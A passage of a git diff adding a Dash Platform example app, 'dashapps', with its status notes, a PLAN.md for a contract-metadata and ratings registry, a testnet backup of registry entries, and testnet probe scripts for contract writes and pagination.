rate/edit/remove, detail-page UI, probe and tests. + +## Session log + +Read-only discovery, including the Sansnote short-description lookup, was verified +against testnet protocol 13. A typed byte-array filter failed in SDK JSON decoding; +validated base58 identifiers fixed it. See CLAUDE.md. + +The session and Settings milestone is implemented. Authentication follows the +shared mnemonic key-manager pattern. The earlier registry probe established the +write mechanics but is no longer a supported application registry. Testnet now +uses the current production registry; mainnet remains unset and read-only. + +## Verification for this milestone + +Build, lint, 40 Vitest unit/component tests, and the Chromium Playwright smoke +test passed after configuring the registry default. The duplicate React sibling +keys exposed by that run were component-prefixed, and the focused Vitest rerun +passed cleanly. + +The final milestone adds fresh uncached target preflights, contract-aware metadata +create/edit/withdraw, owner and revision checks, duplicate classification, balance +refresh and registry-view invalidation. The final contract's two-identity live +probe already verified create, uniqueness, replace, delete, recreate and paging; +the production write layer follows that verified serialization path and has +focused failure/mutation tests. + +Final verification: build and lint passed; 46 Vitest tests passed across 11 files; +the Chromium Playwright smoke test passed. The expected Vite warning is confined +to the separately loaded evo-sdk/WASM chunk. + +## App ratings + +Ratings live on the same registry contract as a second document type. Reads +(`ratingReads.ts`), writes (`ratingWrites.ts`), the `AppRatings` detail-page +section, the hero average, styles, and 26 new Vitest cases (schema invariants, +query shapes, parser, write validation/revision/duplicate handling, component +behaviour, app integration) are complete. The maintainer published the contract +(`BXcWyLZDtcPrEmd8tmPt6A7h4YuqgPGVJU1PBvs1dYiS`); a read-only check confirmed the +schema, indices, grouped count and list shapes. The live write probe has not run. diff --git a/example-apps/dashapps/PLAN.md b/example-apps/dashapps/PLAN.md new file mode 100644 index 00000000..d5a0fe81 --- /dev/null +++ b/example-apps/dashapps/PLAN.md @@ -0,0 +1,236 @@ +# dashapps — metadata registry for Dash Platform + +## Accepted scope + +Target the repository's pinned evo-sdk 4.1.1, Platform 4.1 / protocol 13. +Testnet first, mainnet read-only until explicitly enabled later. + +Anyone may propose metadata for a target data contract. The target contract +owner's entry is canonical; other entries remain community proposals. Enforce +one entry **per identity per target contract**, not one entry total per contract. +There is no voting. Remove the proposal-count leaderboard. Defer all proposal +counts and target-contract document counts; no aggregate indices or grouped-count +probes are needed in this version. Ratings remain out of scope. + +Metadata properties: + +| Property | Required | Constraint | +| ------------- | -------- | -------------------------------------------------------------------------------- | +| `contractId` | Yes | 32-byte identifier of the target contract | +| `name` | Yes | 1–63 characters | +| `description` | No | Up to 1,000 characters | +| `website` | No | HTTP(S), up to 256 characters | +| `repository` | No | HTTP(S), up to 256 characters | +| `docs` | No | HTTP(S), up to 256 characters | +| `tagline` | Yes | 1–120 characters | +| `category` | Yes | One registry category enum value | +| `tags` | No | Comma-separated encoding of up to 5 unique lowercase slugs, 1–32 characters each | +| `appUrl` | Yes | HTTP(S), up to 256 characters | +| `iconUrl` | Yes | HTTPS, up to 256 characters; stored but not fetched directly | + +Platform supplies document ID, owner identity, revision and timestamps. +Canonicality is derived at read time, never written as a flag. Registry entries +do not modify the target contract. Blank optional properties are omitted. + +## Contract candidate and deployment gate + +One mutable, deletable `appMetadata` document type, with property positions 0–5 +in the table's order and `additionalProperties: false`. Required fields include +`$createdAt` and `$updatedAt`, as well as `contractId` and `name`. +Use the identifier media type on `contractId`, byteArray true, min/maxItems 32. +Each URL has `pattern: "^https?://"` and `maxLength: 256`. + +Candidate indices (no aggregate flags): + +1. `ownerContract`, unique: `$ownerId asc, contractId asc`. +2. `byContractCreated`: `contractId asc, $createdAt asc`. +3. `byName`: `name asc`. +4. `recent`: `$createdAt asc`. +5. `byCategoryCreated`: `category asc, $createdAt asc`. + +The previous aggregate-index variants A/B and their sampled fallback are removed. +The compound index must support complete proposal pagination before deployment. +Contract config: `documentsMutableContractDefault: true`, +`documentsCanBeDeletedContractDefault: true`, `keepsHistory: false`. +Indices and config are frozen after deployment: validate before final registration. +This schema is the sole supported registry shape. The unreleased v1 candidate is +not read or migrated. A newly deployed contract is required because category +browsing adds an index. + +Retain opt-in, testnet-credit-spending scripts under `scripts/probes/`: + +- **Index and mutation probe:** check tutorial identity balance, obtain two distinct + signing identities, register the candidate, and create entries for a shared + target and several other targets. Verify unique identity-target pairs, direct + owner/target lookups, and explicit rejection of a duplicate pair. Replace an + entry including its indexed name, verify revision/data, delete and verify + disappearance, and recreate the freed pair. Force small-page compound-index + pagination and assert complete, duplicate-free results using document IDs. + Check descending ordering and cursor continuation on the recent index. Record + whether the live sample contains timestamps shared across page boundaries; do + not require paid mutations solely to manufacture a collision. Retain exact + inputs, IDs, error codes, SDK version, active protocol and block height in + CLAUDE.md. +- **Declared metadata probe:** reconstruct a new candidate via `toObject(pv)` → + add `keywords: ["registry", "apps", "dapps"]` and registry description → + `DataContract.fromObject(obj, true, pv)` with `$formatVersion: "1"`. + Prove that ID, owner, schemas and config survive reconstruction and publication. + Verify declared metadata via fetched `toObject` and Keyword Search. If retained, + rerun mutation and paging checks on the reconstructed candidate. A reproducible + metadata incompatibility may drop registry self-discovery; network/proof errors + are inconclusive, not evidence of incompatibility. + +No grouped-count probe. No final registration until all required writes, unique +lookups and document pagination pass. Diagnose failures and revise the candidate; +do not silently fall back to sampled proposals or remove required features. + +## Reads and correctness boundaries + +- Normalize identifiers once through strict `ids.ts`: base58 strings must decode + to exactly 32 bytes; handles and bytes normalize to validated strings. Reject + malformed non-null values, sparse arrays, noninteger/out-of-range bytes, and + wrong byte lengths. `pickCanonical` requires validated base58 strings. +- SDK query `where` filters use validated base58 strings for identifier values. + For writes, construct with base58 and use the fetched contract in a + `toBytes`/`fromBytes` round trip so evo-sdk produces a typed identifier before + facade validation; raw strings fail JSON Schema while typed or plain arrays + reach Drive as the wrong Platform value type. Validate each new query and write + shape on testnet. Read SDK/WASM errors with `errorMessage`, including `message()`. +- `ownerResolver` deduplicates contract IDs, processes batches of at most 100 + sequentially and returns found/missing/error. Only absent values in successful + batch responses establish missing contracts. Never convert thrown failures into + absence. Retain fetched contract handles for facts without another batch fetch. +- Positive contract/name caches expire after 60 seconds, negative results after + 5 seconds, using an injectable clock. Never cache errors as missing. Force fresh + contract reads on detail entry, Refresh and every write preflight. Expired facts + and badges require revalidation before being presented as current. +- Read contract facts through direct getters plus `toObject(pv)`, never bulk + `toJSON()` (token u64 fields can exceed JavaScript's safe integer range). + Show owner, version, document types, description, keywords and the independently + queried Keyword Search short description, labelled “Declared by contract”. +- Canonical and signed-in user's entry are independent `ownerContract` lookups; + they must not depend on proposal pagination. Preserve pending/error states; + only a successful empty lookup means no owner entry. `no-entries` requires + successful complete registry reads. Deduplicate canonical from community by ID. +- Target existence is not enforced on protocol 13: render dangling proposals, + show contract-missing only on successful absence, and mark canonicality + unresolvable. Future 4.2 `refersTo: { type: "contract" }` is an upgrade note, + not part of this implementation. + +## Paging + +Every list has a limit and explicitly communicates completeness. Document +continuations use `startAfter` of the last document ID, never a timestamp. + +| List | Query / index | Page size | Completion | +| ---------------------- | ------------------------------------------------------- | --------- | --------------------------------------------- | +| Community proposals | target equality, `$createdAt asc` / `byContractCreated` | 100 | Scan to completion, then reverse newest first | +| Name search | name startsWith, name asc / `byName` | 25 | Paged with Load more | +| Canonical or own entry | owner equality + target equality / `ownerContract` | 1 | Exact unique lookup | +| My submissions | owner equality, contractId asc / `ownerContract` | 100 | Scan to completion | +| Keyword Search | lowercased keyword equality / system `byKeyword` | 100 | Paged with Load more | +| Recent | `$createdAt` / `recent` | 50 | Descending only if verified by probe | + +If descending ordering is ignored, scan a fixed recent time window ascending to +completion, reverse, and reveal 50 at a time. Load older exhausts the completed +window before widening 7d → 30d → 90d → all. Widening preserves revealed entries, +deduplicates IDs, and keeps the original upper bound until Refresh. A 2,000-document +safety ceiling or failed scan must never label an incomplete prefix as newest. +Keep previously completed results with their original window label on failed +widening. Detect nonadvancing/cyclic cursors and allow superseding requests. + +## Session, Settings and writes + +Use the shared SDK core and cached dynamic imports, following dashnames. Testnet +mnemonic sign-in uses `IdentityKeyManager.create`; recovery phrases are parameters +only, never persisted, logged, or stored in React state/refs. Sign-out clears +credentials; mainnet sign-in is disabled at both the UI and session boundary. +Display identity, optional DPNS name and credit balance; guard balance refreshes. + +Network changes invalidate the connection/authentication generations, clear +contract/name caches and reset views' pending results. Registry override changes +increment an independent registry generation and clear registry-dependent reads, +cursors and pending forms. Same-network registry changes may retain fresh target +contract/name caches. Superseded results cannot update current UI or caches. +Storage keys are `dashapps.contractId.`; mainnet never inherits testnet's +registry. Validate on load/save and retain in-memory overrides when storage fails. + +Create/edit/withdraw follow the sibling SDK document patterns. Before every write, +force an uncached target lookup; absence disables submission, errors are retryable. +Edit fetches the current document and increments revision. Explicitly classify an +`ownerContract` uniqueness violation as “edit your existing entry”. Successful +mutations invalidate detail, own-entry and relevant discovery reads. + +Views: Discover (recent submissions and keyword browsing), name search/ID jump, +app detail (canonical, declared facts, proposals), submit/edit, My submissions, +and Settings (network, registry override, registration after the deployment gate). + +## Implementation sequence and verification + +1. Scaffold, SDK loaders, strict IDs, URLs, canonical classification and read-only + keyword/contract discovery. Run the live read-only discovery check. +2. Session and Settings shell, testnet sign-in, identity display, registry selection, + and request isolation. Maintain README and IMPLEMENTATION.md with actual status. +3. Revised testnet probes, then freeze/register the passing candidate and set the + testnet default. Mainnet default remains empty. +4. Registry query helpers and index-shape tests, paging, canonical/own-entry reads, + recent/search/my-submissions views. +5. Create/edit/withdraw and explicit error classification; test two identities, + canonical selection, uniqueness, dangling proposals, and refresh/invalidation. + +Run build, lint and Vitest for each milestone, plus relevant Playwright coverage +and bundle-import checks. Mock failures/races and verify actual SDK query shapes +with read-only checks or opt-in probes. Live spending tests require explicit +opt-in and sufficient testnet credits; never deploy an untested schema. + +## App ratings + +Ratings are now in scope. The registry contract gains a second document type, +`appRating`, alongside `appMetadata`. Because indices are immutable, this requires +publishing a new registry contract; the previous registry is not migrated or read. + +| Property | Required | Constraint | +| ------------ | -------- | ---------------------------------------- | +| `contractId` | Yes | 32-byte identifier of the rated contract | +| `stars` | Yes | Integer 1–5 | +| `title` | No | Up to 120 characters | +| `body` | No | Up to 1,000 characters | + +Documents are mutable and deletable; there is no revision history. One rating per +identity per contract, enforced by a unique index. Saving again edits the existing +rating; the owner can remove it. + +Indices (no `summable` anywhere, so no shared-prefix aggregation conflict — see +dashpay/platform#3960): + +1. `ownerContract`, unique: `$ownerId asc, contractId asc` — own rating lookup. +2. `byContractStars`: `contractId asc, stars asc`, `countable` + `rangeCountable` — + grouped count (`GROUP BY stars`, `between [1, 5]`) drives the histogram, the + total and the derived average; `stars == N` filters; `stars` ordering gives + highest/lowest sorting. +3. `byContractCreated`: `contractId asc, $createdAt asc` — most-recent listing. + +Platform ignores `desc` ordering, so lists scan to completion through the +serving index (100 per page, document-ID `startAfter`, 2,000-document ceiling) +and sort client-side; the UI reveals 25 at a time. + +Reads live in `src/dash/ratingReads.ts` (strict parser, distribution, summary, +sorted/filtered pages, own lookup). Writes live in `src/dash/ratingWrites.ts` +and follow the metadata write path: fresh uncached target lookup, contract-aware +`toBytes`/`fromBytes` preparation, revision bump on replace, 40105 classified as +"edit your existing rating", delete of the fetched document. + +UI: the app detail page shows the average in the hero and a "Ratings & reviews" +section under the metadata strip — average, star meter, clickable histogram +(star filter), a "Used this app?" card with star picker and review editor modal, +sort chips (Most recent / Highest / Lowest / Written only), review cards with DPNS +names, relative time and Edit/Remove for the signed-in user's own rating. Signed +out users see a sign-in prompt. Mainnet stays read-only. + +Out of scope: developer responses, helpful votes, reporting, written-review counts. + +Verification: schema invariant tests (including a shared-prefix aggregation check), +query-shape and parser tests, write validation/revision tests, component tests, +and the opt-in `scripts/probes/ratings.mjs` testnet probe that publishes the new +contract and verifies create, uniqueness, grouped count keys, replace, sort/filter +shapes and delete before the testnet default is updated. diff --git a/example-apps/dashapps/UI mockups for plan.md.zip b/example-apps/dashapps/UI mockups for plan.md.zip new file mode 100644 index 00000000..af822ac3 Binary files /dev/null and b/example-apps/dashapps/UI mockups for plan.md.zip differ diff --git a/example-apps/dashapps/backups/dashapps-testnet-2026-09-09T19-41-49-244Z.json b/example-apps/dashapps/backups/dashapps-testnet-2026-09-09T19-41-49-244Z.json new file mode 100644 index 00000000..a8c26b9f --- /dev/null +++ b/example-apps/dashapps/backups/dashapps-testnet-2026-09-09T19-41-49-244Z.json @@ -0,0 +1,193 @@ +{ + "network": "testnet", + "contractId": "EoMc3L6KsLBr9aTSbBwuZKcVFRnarMfxFMQFXCGY5ZGo", + "documentTypeName": "appMetadata", + "protocolVersion": 13, + "backedUpAt": "2026-09-09T19:41:50.530Z", + "count": 11, + "entries": [ + { + "$id": "GP7FKMHwn71q9t3SGSsqPjM4zL63APZ89Y4kwK5mrT8C", + "$ownerId": "C3csSgWJMMd72n7khyLPsqh3AskC5qTwJSA7WNkFjW5M", + "$createdAt": "1788895808781", + "$updatedAt": "1788895808781", + "$revision": "1", + "metadata": { + "category": "wallets-payments", + "contractId": "7CSFGeF4WNzgDmx94zwvHkYaG3Dx4XEe5LFsFgJswLbm", + "description": "Built-in Dash Platform contract providing shared document types used by wallet applications.", + "docs": "https://docs.dash.org/projects/platform/en/stable/", + "iconUrl": "https://www.dash.org/favicon.ico", + "name": "WalletUtils", + "repository": "https://github.com/dashpay/platform", + "tagline": "Shared wallet encryption and account utilities", + "tags": "wallet,utilities,system-contract", + "website": "https://www.dash.org/platform/" + } + }, + { + "$id": "D8cQTLd9YHBLTg5fHAbzzRc3LVfyH9QdN5aD16F9LBJo", + "$ownerId": "C3csSgWJMMd72n7khyLPsqh3AskC5qTwJSA7WNkFjW5M", + "$createdAt": "1788895811217", + "$updatedAt": "1788897020839", + "$revision": "2", + "metadata": { + "category": "wallets-payments", + "contractId": "Bwr4WHCPz5rFVAD87RqTs3izo4zpzwsEdKPWUT1NS1C7", + "description": "Built-in Dash Platform contract for user profiles, contact requests, and social payment features.", + "docs": "https://docs.dash.org/projects/platform/en/stable/", + "iconUrl": "https://www.dash.org/favicon.ico", + "name": "DashPay", + "repository": "https://github.com/dashpay/platform", + "tagline": "Dash Platform profiles and social payment contacts", + "tags": "payments,profiles,contacts,system-contract", + "website": "https://www.dash.org/dashpay/" + } + }, + { + "$id": "DBGrhDhAr7GzFTwaQhdDtFLD9rEuPuPg1CTPQyYpFrPi", + "$ownerId": "C3csSgWJMMd72n7khyLPsqh3AskC5qTwJSA7WNkFjW5M", + "$createdAt": "1788895813516", + "$updatedAt": "1788895813516", + "$revision": "1", + "metadata": { + "category": "identity", + "contractId": "GWRSAVFMjXx8HpQFaNJMqBV7MBgMK4br5UESsB4S31Ec", + "description": "Dash Platform Name Service maps human-readable .dash names to Platform identities.", + "docs": "https://docs.dash.org/projects/platform/en/stable/docs/tutorials/register-a-name.html", + "iconUrl": "https://www.dash.org/favicon.ico", + "name": "DPNS", + "repository": "https://github.com/dashpay/platform", + "tagline": "Human-readable names for Dash Platform identities", + "tags": "names,identity,domains,system-contract", + "website": "https://www.dash.org/platform/" + } + }, + { + "$id": "Ex88vddgeyD1rVWxVo9G4xrEs3vn2G6so5kuGPvBVw2B", + "$ownerId": "C3csSgWJMMd72n7khyLPsqh3AskC5qTwJSA7WNkFjW5M", + "$createdAt": "1788895815872", + "$updatedAt": "1788895815872", + "$revision": "1", + "metadata": { + "category": "finance", + "contractId": "rUnsWrFu3PKyRMGk2mxmZVBPbQuZx2qtHeFjURoQevX", + "description": "Built-in Dash Platform contract that records how masternode Platform rewards are shared.", + "docs": "https://docs.dash.org/projects/platform/en/stable/", + "iconUrl": "https://www.dash.org/favicon.ico", + "name": "Masternode Rewards", + "repository": "https://github.com/dashpay/platform", + "tagline": "Platform reward shares for masternodes", + "tags": "rewards,masternodes,system-contract", + "website": "https://www.dash.org/platform/" + } + }, + { + "$id": "78ZiXE98rhtgFjd5EycNWcuY44qAn62oRjZ5FCNMqPKh", + "$ownerId": "C3csSgWJMMd72n7khyLPsqh3AskC5qTwJSA7WNkFjW5M", + "$createdAt": "1788895818702", + "$updatedAt": "1788895874882", + "$revision": "3", + "metadata": { + "category": "wallets-payments", + "contractId": "4fJLR2GYTPFdomuTVvNy3VRrvWgvkKPzqehEBpNf2nk6", + "description": "Built-in Dash Platform contract supporting withdrawals of Platform credits to Dash addresses.", + "iconUrl": "https://www.dash.org/favicon.ico", + "name": "Withdrawals", + "tagline": "Withdraw Platform credits to Dash addresses", + "tags": "withdrawals,credits,payments,system-contract" + } + }, + { + "$id": "7sffDsNyzYjY9qzvVncd2n782ReuD4M1HNY3yZzqBuGs", + "$ownerId": "HHjmkbcwqFzToaoyvQcP45JZro7PoczAv7Nii57uYPX1", + "$createdAt": "1788897134199", + "$updatedAt": "1788897134199", + "$revision": "1", + "metadata": { + "category": "games", + "contractId": "5hK6SMfN4m2vU1t9qhvngUUQjsXeMNwr8MZdFeGBH8Aa", + "name": "DashMint Lab", + "tagline": "Browse, trade, and manage collectible cards on Dash Platform", + "tags": "nft" + } + }, + { + "$id": "4mUqPJm5PeBhW9PFUA3qhC8LDtcACYiwbRS5k8n66Fk4", + "$ownerId": "63LaKWuVQgiKuCST45Emm8qGjpfd6tcvxtUQbFwcDgLY", + "$createdAt": "1788897229067", + "$updatedAt": "1788978653885", + "$revision": "5", + "metadata": { + "appUrl": "https://dashpay.github.io/platform-tutorials/dashmint-lab/", + "category": "games", + "contractId": "5hK6SMfN4m2vU1t9qhvngUUQjsXeMNwr8MZdFeGBH8Aa", + "description": "DashMint Lab lets you create and trade NFT-style collectibles on Dash Platform. Each card is a document owned by an identity — transferable, tradeable, and stored on-chain. \n\nMint capacity is constrained by a fixed-supply DashMint token.", + "docs": "https://docs.dash.org/projects/platform/en/stable/docs/tutorials/example-apps/dashmint-lab.html", + "name": "DashMint Lab", + "repository": "https://github.com/dashpay/platform-tutorials", + "tagline": "Browse, trade, and manage collectible cards on Dash Platform.", + "tags": "nft,token" + } + }, + { + "$id": "J5du68iLTZj9JtcG2WfrCujLQT4gsnVEVPB5ozPGfp1C", + "$ownerId": "63LaKWuVQgiKuCST45Emm8qGjpfd6tcvxtUQbFwcDgLY", + "$createdAt": "1788898558066", + "$updatedAt": "1788898558066", + "$revision": "1", + "metadata": { + "appUrl": "https://dashpay.github.io/platform-tutorials/dashnote/", + "category": "productivity", + "contractId": "8d6heK6CoskLBi6Rs7cChRG9RuckcZqZst28BdviBe8y", + "name": "DashNote", + "tagline": "Create, edit, and delete notes on Dash Platform" + } + }, + { + "$id": "3oUXQA3PTABSXSmv7qm4aaoqyP9HpkjRzkfXpTEWg9Ca", + "$ownerId": "C3csSgWJMMd72n7khyLPsqh3AskC5qTwJSA7WNkFjW5M", + "$createdAt": "1788898653725", + "$updatedAt": "1788898653725", + "$revision": "1", + "metadata": { + "appUrl": "https://dashpay.github.io/platform-tutorials/dashnote/", + "category": "productivity", + "contractId": "8d6heK6CoskLBi6Rs7cChRG9RuckcZqZst28BdviBe8y", + "name": "DashNote", + "tagline": "Create, edit, and delete notes on Dash Platfomr" + } + }, + { + "$id": "AoooUquUbHYTnVCSrN2Zp4pTwUfkfncWmNb3uakKFVSY", + "$ownerId": "C3csSgWJMMd72n7khyLPsqh3AskC5qTwJSA7WNkFjW5M", + "$createdAt": "1788898761106", + "$updatedAt": "1788898761106", + "$revision": "1", + "metadata": { + "appUrl": "https://dashpay.github.io/platform-tutorials/dashrate/", + "category": "social", + "contractId": "BdgTqaTAPYMyhp1WdeWdcvYSgoD7AuJ7tVCaCSXyQgyP", + "name": "DashRate", + "tagline": "Rate resources on Dash Platform testnet" + } + }, + { + "$id": "CzijYeRPFBE6yFZrdtwXAyopvpfxM3V5k4WnyURhD5fS", + "$ownerId": "63LaKWuVQgiKuCST45Emm8qGjpfd6tcvxtUQbFwcDgLY", + "$createdAt": "1788976593536", + "$updatedAt": "1788976593536", + "$revision": "1", + "metadata": { + "appUrl": "https://yap.pr/", + "category": "social", + "contractId": "EWR695MsqPUuW8EnTbYzD4KybNQD5n7CUDWydJYNg63F", + "description": "A decentralized social media platform and marketplace built on Dash Platform. All data—posts, profiles, likes, follows, bookmarks, mentions, tips, direct messages, stores, and orders—is stored on-chain with full user ownership.", + "docs": "https://yap.pr/about/", + "name": "Yappr", + "repository": "https://github.com/pastapastapasta/yappr", + "tagline": "The decentralized social platform where you own your data, your identity, and your voice." + } + } + ] +} diff --git a/example-apps/dashapps/scripts/check-discovery.mjs b/example-apps/dashapps/scripts/check-discovery.mjs new file mode 100644 index 00000000..e12bf6f0 --- /dev/null +++ b/example-apps/dashapps/scripts/check-discovery.mjs @@ -0,0 +1,73 @@ +/** Read-only testnet check. No .env, credentials, registrations, or writes. */ +import assert from "node:assert/strict"; +import { requireId } from "../src/dash/ids.ts"; +import { createClient } from "../../../setupDashClient-core.mjs"; +const timeout = setTimeout(() => { + console.error("Testnet discovery timed out after 60 seconds."); + process.exit(1); +}, 60_000); +try { + const sdk = await createClient("testnet"); + const id = "BsjE6tQxG47wffZCRQCovFx5rYrAYYC3rTVRWKro27LA"; + const contracts = await sdk.contracts.getMany([id]); + assert(contracts instanceof Map); + const contract = contracts.get(id); + assert(contract, "Keyword Search system contract must exist"); + const facts = contract.toObject(sdk.version()); + assert.equal(String(contract.id), id); + assert(contract.schemas.contractKeywords); + assert(contract.schemas.shortDescription); + const documents = await sdk.documents.query({ + dataContractId: id, + documentTypeName: "contractKeywords", + where: [["keyword", "==", "dash"]], + limit: 100, + }); + const rows = + documents instanceof Map + ? [...documents.values()].filter(Boolean) + : Array.isArray(documents) + ? documents + : Object.values(documents).filter(Boolean); + // Exercise the follow-up read too: typed byte arrays are not JSON-safe filters. + for (const row of rows) { + const targetId = requireId(row.properties.contractId); + const descriptions = await sdk.documents.query({ + dataContractId: id, + documentTypeName: "shortDescription", + where: [["contractId", "==", targetId]], + limit: 1, + }); + assert(descriptions instanceof Map); + console.log( + JSON.stringify({ + targetId, + shortDescriptions: [...descriptions.values()] + .filter(Boolean) + .map((doc) => doc.properties.description), + }), + ); + } + console.log( + JSON.stringify( + { + network: "testnet", + protocolVersion: sdk.version(), + contractId: id, + ownerId: String(contract.ownerId), + version: contract.version, + documentTypes: Object.keys(contract.schemas), + description: facts.description, + keyword: "dash", + results: rows.length, + }, + null, + 2, + ), + ); +} catch (error) { + console.error(error instanceof Error ? error.message : String(error)); + process.exitCode = 1; +} finally { + clearTimeout(timeout); +} diff --git a/example-apps/dashapps/scripts/probes/candidate.mjs b/example-apps/dashapps/scripts/probes/candidate.mjs new file mode 100644 index 00000000..5642e9eb --- /dev/null +++ b/example-apps/dashapps/scripts/probes/candidate.mjs @@ -0,0 +1,8 @@ +// Probes exercise the production contract definition; there is no probe-only schema. +export { + APP_METADATA_SCHEMAS, + CONTRACT_CONFIG, + DECLARED_METADATA, + DOCUMENT_TYPE, + RATING_DOCUMENT_TYPE, +} from "../../src/dash/contract.ts"; diff --git a/example-apps/dashapps/scripts/probes/declared-metadata.mjs b/example-apps/dashapps/scripts/probes/declared-metadata.mjs new file mode 100644 index 00000000..82c4778b --- /dev/null +++ b/example-apps/dashapps/scripts/probes/declared-metadata.mjs @@ -0,0 +1,206 @@ +import assert from "node:assert/strict"; +import { + DataContract, + Document, +} from "../../../../node_modules/@dashevo/evo-sdk/dist/evo-sdk.module.js"; +import { DECLARED_METADATA, DOCUMENT_TYPE } from "./candidate.mjs"; +import { + assertCandidate, + bytesId, + connectActors, + createEntry, + documentId, + ensureEntry, + errorDetails, + networkContext, + newCandidate, + prepareDocument, + printReport, + publish, + queryAll, + snapshot, +} from "./probe-lib.mjs"; + +const report = { + probe: "declared-metadata", + startedAt: new Date().toISOString(), + sdkVersion: "4.1.1", + checks: {}, +}; +try { + const { sdk, actors } = await connectActors(); + const version = sdk.version(); + report.network = await networkContext(sdk); + const resumeId = process.env.DASHAPPS_PROBE_REGISTRY_ID?.trim(); + let id = resumeId; + if (id) { + report.resumedExistingContract = true; + } else { + const original = await newCandidate(sdk, actors[0]); + const before = snapshot(original, version); + const object = { ...before, ...DECLARED_METADATA, $formatVersion: "1" }; + const reconstructed = DataContract.fromObject(object, true, version); + const after = snapshot(reconstructed, version); + assert.deepEqual(after.schemas, before.schemas); + assert.deepEqual(after.config, before.config); + assert.equal(String(reconstructed.id), String(original.id)); + assert.equal(String(reconstructed.ownerId), String(original.ownerId)); + report.checks.reconstruction = "passed"; + ({ id } = await publish(sdk, actors[0], reconstructed)); + } + report.registryContractId = id; + const fetchedMap = await sdk.contracts.getMany([id]); + const fetched = fetchedMap.get(id); + assert(fetched, "Published contract could not be fetched"); + assertCandidate(fetched); + const declared = snapshot(fetched, version); + assert.equal(declared.description, DECLARED_METADATA.description); + assert.deepEqual(declared.keywords, DECLARED_METADATA.keywords); + report.checks.fetchedMetadata = { + description: declared.description, + keywords: declared.keywords, + }; + + // Re-run the critical write/index checks against the reconstructed contract. + const targetId = ( + process.env.DASHAPPS_PROBE_TARGET_IDS || + "BsjE6tQxG47wffZCRQCovFx5rYrAYYC3rTVRWKro27LA" + ) + .split(",")[0] + .trim(); + const ownerDoc = await ensureEntry( + sdk, + actors[0], + id, + targetId, + "Declared registry owner", + ); + await ensureEntry( + sdk, + actors[1], + id, + targetId, + "Declared registry community", + ); + try { + await createEntry(sdk, actors[0], id, targetId, "Duplicate"); + assert.fail( + "Reconstructed contract accepted a duplicate owner/contract pair", + ); + } catch (error) { + if (error?.code === "ERR_ASSERTION") throw error; + report.checks.duplicateRejected = errorDetails(error); + } + const ownerId = documentId(ownerDoc, version); + const fetchedOwner = await sdk.documents.get(id, DOCUMENT_TYPE, ownerId); + const replacementDraft = new Document({ + properties: { + ...fetchedOwner.properties, + contractId: bytesId(fetchedOwner.properties.contractId), + name: "Declared registry revised", + }, + documentTypeName: DOCUMENT_TYPE, + dataContractId: id, + ownerId: actors[0].auth.identity.id, + revision: BigInt(fetchedOwner.revision ?? 0) + 1n, + id: ownerId, + }); + replacementDraft.createdAt = fetchedOwner.createdAt; + replacementDraft.updatedAt = BigInt(Date.now()); + const replacement = await prepareDocument(sdk, replacementDraft, id); + await sdk.documents.replace({ + document: replacement, + identityKey: actors[0].auth.identityKey, + signer: actors[0].auth.signer, + }); + assert.equal( + (await sdk.documents.get(id, DOCUMENT_TYPE, ownerId)).properties.name, + "Declared registry revised", + ); + await sdk.documents.delete({ + document: { + id: ownerId, + ownerId: actors[0].auth.identity.id, + dataContractId: id, + documentTypeName: DOCUMENT_TYPE, + }, + identityKey: actors[0].auth.identityKey, + signer: actors[0].auth.signer, + }); + assert.equal(await sdk.documents.get(id, DOCUMENT_TYPE, ownerId), undefined); + await ensureEntry( + sdk, + actors[0], + id, + targetId, + "Declared registry recreated", + ); + const paged = await queryAll(sdk, { + dataContractId: id, + documentTypeName: DOCUMENT_TYPE, + where: [["contractId", "==", targetId]], + orderBy: [ + ["contractId", "asc"], + ["$createdAt", "asc"], + ], + }); + assert.equal(paged.length, 2); + report.checks.mutationAndPagination = paged.map((doc) => + documentId(doc, version), + ); + const category = await queryAll(sdk, { + dataContractId: id, + documentTypeName: DOCUMENT_TYPE, + where: [["category", "==", "developer-tools"]], + orderBy: [ + ["category", "asc"], + ["$createdAt", "asc"], + ], + }); + assert.equal(category.length, 2); + report.checks.categoryPagination = category.map((doc) => + documentId(doc, version), + ); + const recent = await queryAll(sdk, { + dataContractId: id, + documentTypeName: DOCUMENT_TYPE, + where: [], + orderBy: [["$createdAt", "desc"]], + }); + const times = recent.map((doc) => + BigInt(doc.createdAt ?? snapshot(doc, version).$createdAt), + ); + assert( + times.every((time, index) => index === 0 || times[index - 1] >= time), + "Recent index did not honor descending order", + ); + report.checks.recentDescending = recent.map((doc) => + documentId(doc, version), + ); + + const keywordContractId = "BsjE6tQxG47wffZCRQCovFx5rYrAYYC3rTVRWKro27LA"; + for (const keyword of DECLARED_METADATA.keywords) { + const values = await queryAll( + sdk, + { + dataContractId: keywordContractId, + documentTypeName: "contractKeywords", + where: [["keyword", "==", keyword]], + }, + 100, + ); + assert( + values.some((doc) => bytesId(doc.properties?.contractId) === id), + `Keyword Search did not expose ${keyword}`, + ); + } + report.checks.keywordSearch = "passed"; + report.status = "passed"; +} catch (error) { + report.status = "failed"; + report.error = errorDetails(error); + process.exitCode = 1; +} finally { + report.finishedAt = new Date().toISOString(); + printReport(report); +} diff --git a/example-apps/dashapps/scripts/probes/index-mutation-pagination.mjs b/example-apps/dashapps/scripts/probes/index-mutation-pagination.mjs new file mode 100644 index 00000000..bb510de5 --- /dev/null +++ b/example-apps/dashapps/scripts/probes/index-mutation-pagination.mjs @@ -0,0 +1,240 @@ +import assert from "node:assert/strict"; +import { Document } from "../../../../node_modules/@dashevo/evo-sdk/dist/evo-sdk.module.js"; +import { DOCUMENT_TYPE } from "./candidate.mjs"; +import { + assertCandidate, + bytesId, + connectActors, + createEntry, + documentId, + ensureEntry, + errorDetails, + networkContext, + newCandidate, + prepareDocument, + printReport, + publish, + queryAll, + rows, + snapshot, +} from "./probe-lib.mjs"; + +const TARGETS = ( + process.env.DASHAPPS_PROBE_TARGET_IDS || + "BsjE6tQxG47wffZCRQCovFx5rYrAYYC3rTVRWKro27LA,8d6heK6CoskLBi6Rs7cChRG9RuckcZqZst28BdviBe8y" +) + .split(",") + .map((v) => v.trim()) + .filter(Boolean); +assert(TARGETS.length >= 2, "Provide at least two DASHAPPS_PROBE_TARGET_IDS"); +const report = { + probe: "index-mutation-pagination", + startedAt: new Date().toISOString(), + sdkVersion: "4.1.1", + inputs: { targetIds: TARGETS }, + checks: {}, +}; + +try { + const { sdk, actors } = await connectActors(); + report.network = await networkContext(sdk); + report.identities = actors.map((a) => ({ + identityIndex: a.identityIndex, + id: a.identityId, + startingBalance: a.balance, + })); + const resumeId = process.env.DASHAPPS_PROBE_REGISTRY_ID?.trim(); + let 